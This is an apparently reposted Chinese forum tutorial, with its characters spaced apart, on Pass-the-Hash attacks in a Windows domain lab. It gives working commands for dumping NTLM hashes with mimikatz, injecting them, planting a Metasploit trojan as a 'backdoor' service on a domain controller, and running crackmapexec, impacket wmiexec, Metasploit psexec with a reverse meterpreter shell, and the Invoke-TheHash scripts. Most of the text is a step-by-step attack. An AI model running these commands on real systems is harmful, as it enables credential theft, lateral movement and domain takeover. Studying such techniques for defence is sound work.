搜索

[18598] 2021-07-23_内网渗透｜谈谈HASH传递那些世人皆知的事

文档创建者：s7ckTeam
浏览次数：38
最后更新：2025-01-18
2021-07-23_内网渗透｜谈谈HASH传递那些世人皆知的事 内 网 渗 透 ｜ 谈 谈 H A S H 传 递 那 些 世 人 皆 知 的 事 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 7 - 2 3 收 录 于 话 题 # h a s h   , 1 # 渗 透 测 试   , 1 2 # 内 网 渗 透   , 2 0 # P T H 攻 击   , 1 m a x r e s d e f a u l t 前 言 前 言 P a s s   T h e   H a s h   即 哈 希 传 递 攻 击 ， 简 称   P T H ， 该 攻 击 方 法 通 过 找 到 与 账 户 相 关 的 密 码 散 列 值   N T L M   H a s h   来 进 行 攻 击 的 。 由 于 在   W i n d o w s   系 统   N T L M   认 证 的   T Y P E   3   消 息 计 算   R e s p o n s e   的 时 候 ， 客 户 端 是 使 用 用 户 的   N T L M   H a s h   进 行 计 算 的 ， 而 不 是 用 户 密 码 进 行 计 算 的 。 因 此 在 模 拟 用 户 登 录 或 对 访 问 资 源 的 用 户 进 行 身 份 认 证 的 时 候 ， 是 不 需 要 用 户 明 文 密 码 的 ， 只 需 要 用 户 H a s h 。 攻 击 者 可 以 利 用   N T L M   H A S H   直 接 远 程 登 录 目 标 主 机 或 反 弹   S h e l l 。 在 域 环 境 中 ， 用 户 登 录 计 算 机 时 一 般 使 用 域 账 号 ， 大 量 计 算 机 在 安 装 时 会 使 用 相 同 的 本 地 管 理 员 账 号 和 密 码 ， 因 此 ， 如 果 计 算 机 的 本 地 管 理 员 账 号 和 密 码 也 相 同 ， 攻 击 者 就 能 使 用 哈 希 传 递 攻 击 的 方 法 来 登 录 内 网 中 的 其 他 主 机 。 使 用 该 方 法 ， 攻 击 者 不 需 要 花 费 时 间 来 对 H a s h 进 行 爆 破 ， 在 内 网 渗 透 里 非 常 经 典 。 常 常 适 用 于 域 环 境 或 工 作 组 环 境 。 哈 希 传 递 攻 击 哈 希 传 递 攻 击 下 面 ， 我 们 以 下 图 所 示 的 环 境 来 具 体 演 示 哈 希 传 递 攻 击 （ P T H ） 的 方 法 。
i m a g e - 2 0 2 1 0 7 1 1 1 4 3 3 3 1 9 0 0 如 图 中 ， 右 侧 是 一 个 内 网 环 境 ， 域 名 为 w h o a m i a n o n y . o r g ， 有 两 台 主 要 的 机 器 ： 域 成 员 主 机   W i n d o w s   7   和 域 控 制 器   W i n d o w s S e r v e r   2 0 1 2 ， 其 中 攻 击 者 已 经 拿 下 了 内 网 中 的   W i n d o w s   7 ， 接 下 来 我 们 尝 试 通 过 哈 希 传 递 的 方 法 获 取   W i n d o w s   S e r v e r   2 0 1 2   的 控 制 权 。 使 用 使 用   M i m i k a t z   进 行 进 行   P T H 下 面 演 示 哈 希 传 递 攻 击 的 方 法 （ 需 要 管 理 员 权 限 ） ： 首 先 ， 攻 击 者 在 W i n d o w s   7 上 面 上 传 m i m i k a t z ， 并 用 m i m i k a t z 抓 取 H a s h ： p r i v i l e g e : : d e b u g s e k u r l s a : : l o g o n p a s s w o r d s
i m a g e - 2 0 2 1 0 7 1 1 1 1 5 0 5 5 5 6 9 如 上 图 所 示 ， 成 功 抓 取 到 域 管 理 员 的   N T L M   H a s h   为 ： a b 8 9 b 1 2 9 5 e 6 9 d 3 5 3 d d 7 6 1 4 c 7 a 3 a 8 0 c e c 然 后 ， 在   W i n d o w s   7   上 用   m i m i k a t z   将 获 取 的   A d m i n i s t r a t o r   的   H a s h   添 加 进   l s a s s   进 程 中 ： i m a g e - 2 0 2 1 0 7 1 1 1 1 5 4 0 2 0 1 7 成 功 ， 此 时 会 自 动 弹 出 一 个 新 的 c m d 窗 口 ， 这 时 访 问 远 程 主 机 或 服 务 ， 就 不 用 提 供 明 文 密 码 了 ， 如 下 ， 我 们 列 出 了 域 控 制 器   D C 的 c 盘 目 录 ： p r i v i l e g e : : d e b u g s e k u r l s a : : p t h   / u s e r : a d m i n i s t r a t o r   / d o m a i n : w h o a m i a n o n y   / n t l m : a b 8 9 b 1 2 9 5 e 6 9 d 3 5 3 d d 7 6 1 4 c 7 a 3 a 8 0 c e c
i m a g e - 2 0 2 1 0 7 1 1 1 1 5 6 5 4 3 7 2 为 了 简 洁 ， 上 述 的 操 作 可 以 用 以 下 一 句 话 命 令 代 替 ： 此 时 ， 为 了 让 域 控 制 器   D C   上 线   M e t a s p l o i t ， 我 们 只 需 做 以 下 工 作 。 生 成 一 个 m s f 木 马 s h e l l . e x e ， 将 s h e l l . e x e 上 传 到 W i n d o w s   7 主 机 ， 然 后 直 接 使 用   c o p y   命 令 将 s h e l l . e x e 复 制 到 域 控 上 ： i m a g e - 2 0 2 1 0 7 1 1 1 2 3 4 5 4 5 3 7 m i m i k a t z . e x e   p r i v i l e g e : : d e b u g   " s e k u r l s a : : p t h   / d o m a i n : w h o a m i a n o n y   / u s e r : a d m i n i s t r a t o r   / n t l m : a b 8 9 b 1 2 9 5 e 6 9 d 3 5 3 d d 7 6 1 4 c 7 a 3 a 8 0 c e c   / r u n : c m d . e x e " c o p y   s h e l l . e x e   D C . w h o a m i a n o n y . o r g c $         / /   将   s h e l l . e x e   复 制 到 域 控 主 机 上 s c   D C . w h o a m i a n o n y . o r g   c r e a t e   b a c k d o o r   b i n p a t h =   " c : s h e l l . e x e " / /   在 域 控 上 创 建 服 务 启 动 木 马 s c   D C . w h o a m i a n o n y . o r g   s t a r t   b a c k d o o r           / /   在 域 控 上 立 即 启 动 该 服 务 s c   D C . w h o a m i a n o n y . o r g   d e l e t e   b a c k d o o r           / /   在 域 控 上 立 即 删 除 该 服 务
i m a g e - 2 0 2 1 0 7 1 1 1 2 2 0 4 1 3 9 4 此 时 虽 然 显 示   1 0 5 3   错 误 ， 但 是 如 下 图 所 示 ， 域 控 制 器 成 功 上 线 ， 并 且 还 是   S Y S T E M   权 限 ： i m a g e - 2 0 2 1 0 7 1 1 1 2 3 1 4 2 0 5 5 注 意 ， 哈 希 传 递 攻 击 要 注 意 一 下 几 点 ： • d i r 命 令 后 面 要 使 用 主 机 名 ， 不 能 用   I P ， 否 则 报 错 • 使 用   m i m i k a t z   进 行 哈 希 传 递 要 具 有 本 地 管 理 员 权 限 使 用 使 用   C r a c k m a p e x e c   进 行 进 行   P T H 该 工 具 位 于 k a l i 上 面 ， 其 可 以 对 C 段 主 机 批 量 进 行 P T H 攻 击 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / b y t 3 b l 3 3 d 3 r / C r a c k M a p E x e c . g i t 在 k a l i 上 直 接 用 a p t - g e t 就 可 以 安 装 ： 对 内 网 主 机 进 行 P T H 的 命 令 如 下 ： a p t - g e t   i n s t a l l   c r a c k m a p e x e c
• I P ： ： 可 以 是 单 个 I P 也 可 以 是 I P 段 • - u ： ： 指 定 用 户 名 • - H ： ： 指 定 N T L M   H a s h • - d ： ： 指 定 域 • - x ： ： 执 行 系 统 命 令 如 下 图 所 示 ， 成 功 在   D C   主 机 上 执 行 命 令 ： i m a g e - 2 0 2 1 0 7 1 1 1 2 3 7 3 0 4 0 0 i m a g e - 2 0 2 1 0 7 1 1 1 2 3 8 4 1 4 4 0 利 用 利 用   w m i e x e c   进 行 进 行   P T H • 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / S e c u r e A u t h C o r p / i m p a c k e t 这 是   i m p a c k e t   工 具 包 里 面 的 一 个 脚 本 ， 可 以 用 来   P T H ， 同 时 可 以 走   s o c k s 4 / 5   代 理 ， 十 分 强 大 。 首 先 在 攻 击 机 上 安 装   I m p a c k e t   工 具 包 ： 进 入   e x a m p l e s   目 录 即 可 找 到 我 们 的   w m i e x e c . p y ， 然 后 执 行 以 下 命 令 即 可 ： c r a c k m a p e x e c   s m b   1 9 2 . 1 6 8 . 9 3 . 3 0 - u   a d m i n i s t r a t o r   - H   a b 8 9 b 1 2 9 5 e 6 9 d 3 5 3 d d 7 6 1 4 c 7 a 3 a 8 0 c e c   - d   w h o a m i a n o n y . o r g   - x   w h o a m i c r a c k m a p e x e c   s m b   1 9 2 . 1 6 8 . 9 3 . 3 0 - u   a d m i n i s t r a t o r   - H   a b 8 9 b 1 2 9 5 e 6 9 d 3 5 3 d d 7 6 1 4 c 7 a 3 a 8 0 c e c   - d   w h o a m i a n o n y . o r g   - x   i p c o n f i g g i t   c l o n e   h t t p s : / / g i t h u b . c o m / C o r e S e c u r i t y / i m p a c k e t . g i t c d   i m p a c k e t / p i p   i n s t a l l   . p y t h o n   w m i e x e c . p y   - h a s h e s   0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 : a b 8 9 b 1 2 9 5 e 6 9 d 3 5 3 d d 7 6 1 4 c 7 a 3 a 8 0 c e c   w h o a m i a n o n y / a d m i n i s t r a t o r @ 1 9 2 . #   ( p r o x y c h a i n s 4 )   p y t h o n   w m i e x e c . p y   - h a s h e s   L M   H a s h : N T   H a s h   域 名 / 用 户 名 @ I P   " 命 令 "
使 用 使 用   M e t a s p l o i t   进 行 进 行   P T H 经 常 使 用 的 三 个 模 块 ： 这 三 个 模 块 的 使 用 方 法 相 同 ， 这 里 以 e x p l o i t / w i n d o w s / s m b / p s e x e c 模 块 哈 希 传 递 攻 击 域 控 制 器   D C   为 例 ： i m a g e - 2 0 2 1 0 7 1 1 1 2 2 3 0 0 2 9 4 需 要 设 置 以 下 选 项 ： 注 意 这 里 的   s m b p a s s   选 项 ， 其 可 以 为 明 文 密 码 ， 也 可 以 为 密 码 哈 希 ， 但 是 哈 希 值 必 须 是 完 整 的 ， 如 果 不 知 道 前 面 的 L M   H a s h 部 分 ， 可 以 像 上 面 那 样 用 0 代 替 。 如 下 图 所 示 ， 攻 击 成 功 ， 域 控 成 功 上 线 ， 并 且 是   S Y S T E M   权 限 ： a u x i l i a r y / a d m i n / s m b / p s e x e c _ c o m m a n d             / /   在 目 标 机 器 上 执 行 系 统 命 令                             e x p l o i t / w i n d o w s / s m b / p s e x e c                         / /   用 p s e x e c 执 行 系 统 命 令                   e x p l o i t / w i n d o w s / s m b / p s e x e c _ p s h                   / /   使 用 p o w e r s h e l l 作 为 p a y l o a d u s e   e x p l o i t / w i n d o w s / s m b / p s e x e c s e t   r h o s t s   1 9 2 . 1 6 8 . 9 3 . 3 0 s e t   s m b u s e r   a d m i n i s t r a t o r s e t   s m b p a s s   0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 : a b 8 9 b 1 2 9 5 e 6 9 d 3 5 3 d d 7 6 1 4 c 7 a 3 a 8 0 c e c     #   完 整 的 A d m i n i s t r a t o r 用 户 的 H a s h s e t   s m b d o m a i n   w h o a m i a n o n y s e t   p a y l o a d   w i n d o w s / x 6 4 / m e t e r p r e t e r / r e v e r s e _ t c p s e t   l h o s t   1 9 2 . 1 6 8 . 9 3 . 1 2 9 s e t   l p o r t   4 4 4 4 e x p l o i t
i m a g e - 2 0 2 1 0 7 1 1 1 2 2 9 3 0 6 7 5 利 用 利 用   P o w e r S h e l l   进 行 进 行   P T H • 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / K e v i n - R o b e r t s o n / I n v o k e - T h e H a s h I n v o k e - T h e H a s h   项 目 是 一 个 基 于 . N e t   T C P C l i e n t ， 通 过 把   N T L M   哈 希 传 递 给   N T L M v 2   身 份 验 证 协 议 来 进 行 身 份 验 证 的 攻 击 套 件 ， 且 执 行 时 客 户 端 不 需 要 本 地 管 理 员 权 限 。 I n v o k e - T h e H a s h   项 目 中 内 含 如 下 多 个 脚 本 ： 其 可 以 执 行   W M I   和   S M B   命 令 ， 并 对 内 网 主 机 批 量 进 行 哈 希 传 递 攻 击 。 使 用 使 用   I n v o k e - S M B E x e c   脚 本 脚 本 该 脚 本 通 过   S M B   在 目 标 主 机 创 建 服 务 来 执 行 命 令 ， 该 脚 本 执 行 命 令 没 有 回 显 ， 我 们 可 以 用 它 执 行 一 些 木 马 程 序 。 如 下 所 示 ， 我 们 通 过   I n v o k e - S M B E x e c   脚 本 进 行 哈 希 传 递 ， 在 域 控 制 器 上 执 行 之 前 上 传 的   s h e l l . e x e ： i m a g e - 2 0 2 1 0 7 1 1 1 3 0 8 2 5 0 1 1 成 功 执 行   s h e l l . e x e ， 域 控 上 线 成 功 ： I n v o k e - W M I E x e c . p s 1         I n v o k e - S M B E x e c . p s 1         I n v o k e - S M B E n u m . p s 1         I n v o k e - S M B C l i e n t . p s 1         I n v o k e - T h e H a s h . p s 1 I m p o r t - M o d u l e . I n v o k e - S M B E x e c . p s 1 I n v o k e - S M B E x e c - T a r g e t 1 9 2 . 1 6 8 . 9 3 . 3 0 - D o m a i n   w h o a m i a n o n y   - U s e r n a m e   a d m i n i s t r a t o r   - H a s h 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
i m a g e - 2 0 2 1 0 7 1 1 1 3 1 1 0 1 7 9 9 使 用 使 用   I n v o k e - T h e H a s h   脚 本 脚 本 I n v o k e - T h e H a s h   脚 本 可 以 用 来 通 过 哈 希 传 递 在 远 程 主 机 上 执 行   W M I   和   S M B   命 令 。 • - T a r g e t ： ： 目 标 主 机 名 或 I P 地 址 / 段 。 • - U s e r n a m e ： 用 于 身 份 验 证 的 用 户 名 。 • - D o m a i n ： ： 用 于 身 份 验 证 的 域 。 本 地 帐 户 或 在 用 户 名 后 使 用 @ d o m a i n 时 不 需 要 此 参 数 。 • - H a s h ： 用 于 身 份 验 证 的 N T L M 密 码 哈 希 （ 格 式 ： L M : N T L M   或   N T L M ） 。 • * * * * - C o m m a n d ： * * 在 目 标 上 执 行 的 命 令 。 如 果 命 令 未 指 定 ， 则 将 检 查 用 户 名 和 哈 希 是 否 可 以 访 问 目 标 上 的 S C M 。 注 意 使 用 的 时 候 需 要 先 加 载   I n v o k e - W M I E x e c . p s 1   脚 本 ， 然 后 再 加 载 I n v o k e - T h e H a s h . p s 1 脚 本 ， 因 为 I n v o k e - T h e H a s h   里 要 用 到 I n v o k e - W M I E x e c   方 法 。 i m a g e - 2 0 2 1 0 7 1 1 1 3 2 6 3 1 9 9 2 i m a g e - 2 0 2 1 0 7 1 1 1 3 2 7 1 3 9 9 8 成 功 在 域 控 （ 1 9 2 . 1 6 8 . 5 2 . 1 3 8 ） 上 执 行 了   s h e l l . e x e ， 域 控 成 功 上 线 ： I m p o r t - M o d u l e . I n v o k e - W M I E x e c . p s 1         #   首 先 需 要 加 载 先 加 载 I n v o k e - W M I E x e c . p s 1 脚 本 I m p o r t - M o d u l e . I n v o k e - T h e H a s h . p s 1         #   然 后 再 加 载 I n v o k e - T h e H a s h . p s 1 脚 本 I n v o k e - T h e H a s h - T y p e W M I E x e c - T a r g e t 1 9 2 . 1 6 8 . 9 3 . 1 / 2 4 - D o m a i n   w h o a m i a n o n y   - U s e r n a m e   a d m i n i s t r a t o r   - H a s h   a b 8 9 b 1 2 9 5 e 6 9 d 3 5 3 d d 7 6 1 4 c 7 a 3 a 8 0 c e c   -
i m a g e - 2 0 2 1 0 7 1 1 1 3 2 8 2 0 4 1 4 使 用 使 用   I n v o k e - S M B C l i e n t   脚 本 脚 本 该 脚 本 支 持 S M B 1 ， S M B 2 ， S M B   s i g n i n g ， 如 果 只 有   S M B   文 件 共 享 的 权 限 而 没 有 远 程 执 行 权 限 的 话 ， 可 以 使 用 这 个 脚 本 列 举 远 程 主 机 上 的 共 享 目 录 、 上 传 或 下 载 文 件 、 删 除 文 件 。 使 用 以 下 命 令 可 以 成 功 列 举 出 域 控 制 器 上 的 共 享 文 件 ： i m a g e - 2 0 2 1 0 7 1 1 1 3 3 6 5 3 2 0 1 还 有 以 下 几 种 操 作 ： I m p o r t - M o d u l e . I n v o k e - S M B C l i e n t . p s 1 I n v o k e - S M B C l i e n t - D o m a i n   w h o a m i a n o n y   - U s e r n a m e   a d m i n i s t r a t o r   - H a s h   a b 8 9 b 1 2 9 5 e 6 9 d 3 5 3 d d 7 6 1 4 c 7 a 3 a 8 0 c e c   - S o u r c e #   I n v o k e - S M B C l i e n t   - D o m a i n   T E S T D O M A I N   - U s e r n a m e   T E S T   - H a s h   F 6 F 3 8 B 7 9 3 D B 6 A 9 4 B A 0 4 A 5 2 F 1 D 3 E E 9 2 F 0   - S o u r c e   s e r v e r s h a r e   - v e r b o s e         查 看 远 程 主 机 共 享 目 录 I n v o k e - S M B C l i e n t - D o m a i n   T E S T D O M A I N   - U s e r n a m e   T E S T   - H a s h   F 6 F 3 8 B 7 9 3 D B 6 A 9 4 B A 0 4 A 5 2 F 1 D 3 E E 9 2 F 0   - A c t i o n D e l e t e - S o u r c e I n v o k e - S M B C l i e n t - D o m a i n   T E S T D O M A I N   - U s e r n a m e   T E S T   - H a s h   F 6 F 3 8 B 7 9 3 D B 6 A 9 4 B A 0 4 A 5 2 F 1 D 3 E E 9 2 F 0   - A c t i o n G e t - S o u r c e I n v o k e - S M B C l i e n t - D o m a i n   T E S T D O M A I N   - U s e r n a m e   T E S T   - H a s h   F 6 F 3 8 B 7 9 3 D B 6 A 9 4 B A 0 4 A 5 2 F 1 D 3 E E 9 2 F 0   - A c t i o n P u t - S o u r c e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理